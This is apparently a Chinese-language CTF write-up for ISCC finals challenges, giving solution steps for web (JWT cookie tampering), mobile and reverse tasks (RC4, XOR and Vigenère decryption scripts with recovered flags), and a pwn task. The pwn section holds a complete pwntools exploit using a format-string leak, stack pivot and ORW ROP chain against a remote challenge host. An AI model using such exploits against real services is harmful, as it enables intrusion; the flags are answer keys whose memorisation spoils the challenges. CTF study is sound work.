(在我们网安圈,打pycc的人是不能上桌吃饭的)
图片炸了,暂时不修了(绝对不是因为我太懒了

总决赛部分WP

WEB

谁动了我的奶酪

输入tom得到一段Php源码,通过clue构建payload得到提示flag_of_cheese

再根据提示构建下一个payload

得到这样一串东西,base64解密发现半段flag

输入tom的Php文件名base64后是oneCheese,猜测twoCheese并用base64编码后得到一个新的php

输入后发现不行,需要权限,在F12注释栏内有提示

提示的是一串解码后为Jerry_Loves_Cheese的字符

抓了一下包发现用了jwt,于是上官网修改了cookie和token再次进入发现有这样一串代码

将其xor 0x16后得到后半段

ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}

Mobile

GGAD

在jadx里分析一下代码就能得知加密逻辑是一个维吉尼亚+一个RC4

分别在ggad.b,ggad.c中提取需要解密的字符

rc4的key是呼神唤卫ExpectoPatronum

脚本让ai生成一个就行

最后跑出来的是长这样的

ISCC{R3v3!0&N1ffl3r}

叽米是梦的开场白

解压apk发现有3个so文件,一个一个看

在 libmobile04.so 里面找到这样一串东西,一眼dex

给他存下来

拿到jadx里面打开看看,发现有一串byte要解密

找到密文了,密钥在哪里找呢

在libsunday.so里的Java_com_example_mobile04_Sunday_getKey可以明显发现一串很像密钥的,拿出来试试看看

有点像但不确定,先留着

另外一串密文需要在libmonday.so里找

是一段位移+异或的逻辑

难点来了,要在assest里的一个enreal文件里运用到上文的逻辑进行解密

解密完之后放到ida里可以发现这样的两组数据

5UDecUJ4MKKJTuK3SVTfClQy

0xC675772F92E53579

不用想肯定是另外一组密文和密钥了

解密得到另外一串字符

拼接起来就是flag了

Reverse

uglyCPP

狮山代码就丢给ai分析

主要逻辑

  1. 初始化数据
    1. 创建一个包含9个整数的数组v12,这些是硬编码的特定值
    2. 使用这些值初始化一个vector v11
  2. 大小比较
    1. 首先比较输入vector a2的大小与内部vector v11的大小
    2. 如果大小不同,直接输出换行并返回
  3. 元素比较
    1. 如果大小相同,则逐个比较两个vector中的元素
    2. 使用迭代器遍历两个vector,比较对应位置的元素值
    3. 如果发现任何不匹配的元素,就跳出循环
  4. 输出结果
    1. 无论比较是否成功,都会输出一个换行符
    2. 没有明显的成功/失败指示,只是输出换行

分析完之后可以理一下整体的逻辑

  1. 反向字符替换
  2. 字符串转十六进制(小端序)
  3. 异或加密(flag_hex ^ key = encrypted)

所以写脚本的逻辑就是让他整体反一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 异或密钥和密文
xor_key = [0x3ED6325B, 0xD709BF17, 0xE3F27E18, 0xA0870791, 0x146D6F9, 0x7C6140FF, 0x10B69406, 0x94DDE0F6, 0x40B2BB6C]
xor_encrypted = [0x0B8E4215, 0x9459F879, 0x0D3BA0765, 0x92C948C2, 0x503CB982, 0x241922B6, 0x62C6E731, 0x0FB90B5B5, 0x2284F118]

# 1. 异或解密
xor_result = []
for i in range(len(xor_key)):
xor_result.append(hex(xor_key[i] ^ xor_encrypted[i]))

print("XOR Result (hex):", xor_result)

# 2. 十六进制转字符串(小端序处理)
decoded_flag = ""
for hex_str in xor_result:
hex_str = hex_str[2:] # 移除 '0x'
# 补齐前导零,确保 8 个字符(4 字节)
hex_str = hex_str.zfill(8)
# 每 2 个字符一组转换为字节,并反转
chunk = ""
for i in range(0, len(hex_str), 2):
byte = int(hex_str[i:i+2], 16)
chunk += chr(byte)
decoded_flag += chunk[::-1] # 反转 4 字节块

print("Decoded Flag (after XOR and LE conversion):", decoded_flag)

# 3. 字符替换(类似于凯撒密码或置换密码)
# 定义字符映射表
original_chars = "1234567890abcdefghijklmnopqrstuvwxyz"
mapped_chars = "vfw8xgy4zh9i2j0k5lam1nbo6pcq3rds7teu"

final_flag = ""
for c in original_chars:
index = mapped_chars.index(c) # 找到 original_chars 中的字符在 mapped_chars 的位置
final_flag += decoded_flag[index] # 用该位置从 decoded_flag 取字符

print("Final Flag:", final_flag)

ISCC{7t5HNzxpM6pGy0O2oQbXsrUoJbNXnP}

CrackMe

借助AI分析各个无名函数得到主要加密逻辑

是XOR + 凯撒密码 +标准RC4

密文在这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def rc4(key, data):
# Key-scheduling algorithm (KSA)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i] # Swap

# Pseudo-random generation algorithm (PRGA)
i = j = 0
result = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # Swap
t = (S[i] + S[j]) % 256
result.append(char ^ S[t])
return result


def main():
# Replace this with your actual ciphertext
flag = bytes([
28, 184, 46, 71, 221, 114, 28, 162, 222, 19,
71, 70, 154, 240, 41, 129, 212, 230, 221, 238,
85, 154, 17, 40, 23, 107, 175, 232, 215, 36,
247, 63, 233, 21, 121, 23, 244, 145, 156, 254,
53, 116
])

key = b"SecretKey"

# Step 1: RC4 decryption
decrypted = rc4(key, flag)

# Step 2: Caesar shift (ROT-3)
for i in range(len(decrypted)):
char = decrypted[i]
if ord('a') <= char <= ord('z'):
decrypted[i] = (char - ord('a') + 26 - 3) % 26 + ord('a')
elif ord('A') <= char <= ord('Z'):
decrypted[i] = (char - ord('A') + 26 - 3) % 26 + ord('A')

# Step 3: XOR every other character with 65 and print
result = []
for i in range(0, len(decrypted), 2):
result.append(chr(decrypted[i] ^ 65))

print(''.join(result))


if __name__ == "__main__":
main()

PWN

Dilemma

Func_1 格式化字符串漏洞来泄露canary和libc ,func1第二个输入可以随便输,输完后退出func1,输入2进入func0

禁用了execve考虑打orw

Func0有0x100字节大小的输入,栈迁移打orw

先迁到bss段 ,把./flag.txt字符串写到bss段上面去,再使用0x100字节大小的输入

最后覆盖返回地址打orw

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*
#p = process('./pwn')
p = remote('101.200.155.151',12500)
elf = ELF('./pwn')
libc = ELF('/home/flower/桌面/glibc-all-in-one/libs/2.35-0ubuntu3.9_amd64/libc.so.6'
')
context(arch='amd64',log_level='debug',os='linux')
pop_rdi = 0x000000000040119a
ret = 0x000000000040101a
bss = 0x404000 + 0x900
pop_rsi_r15 = 0x000000000040119c
p.recvuntil("where are you go?\n")
p.sendline("1")
p.recvuntil("Enter you password:\n")
payload = b'%39$p%11$p'
#gdb.attach(p)
p.sendline(payload)
p.recvuntil("0x")
libc_base = int(p.recv(12),16) - 128 - libc.sym['__libc_start_main']
p.recvuntil("0x")
canary = int(p.recv(16),16)
p.recvuntil("I will check your password:")
p.send("a"*8)
p.recvuntil("where are you go?\n")
p.sendline("2")
p.recvuntil("We have a lot to talk about\n")
payload = b'a'*0x28 + p64(canary) + p64(bss+0x30) + p64(0x4011C9)
p.send(payload)
p.recvuntil("a"*0x28)
pop_rdx_r12 = 0x000000000011f2e7 + libc_base
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
payload2 = b'./flag.txt'
payload2 = payload2.ljust(0x28,b'\x00') + p64(canary) + p64(0) + p64(pop_rdi) + p64(bss) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open)
payload2 += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write)
print(hex(len(payload2)))
#gdb.attach(p)
p.send(payload2)
p.interactive()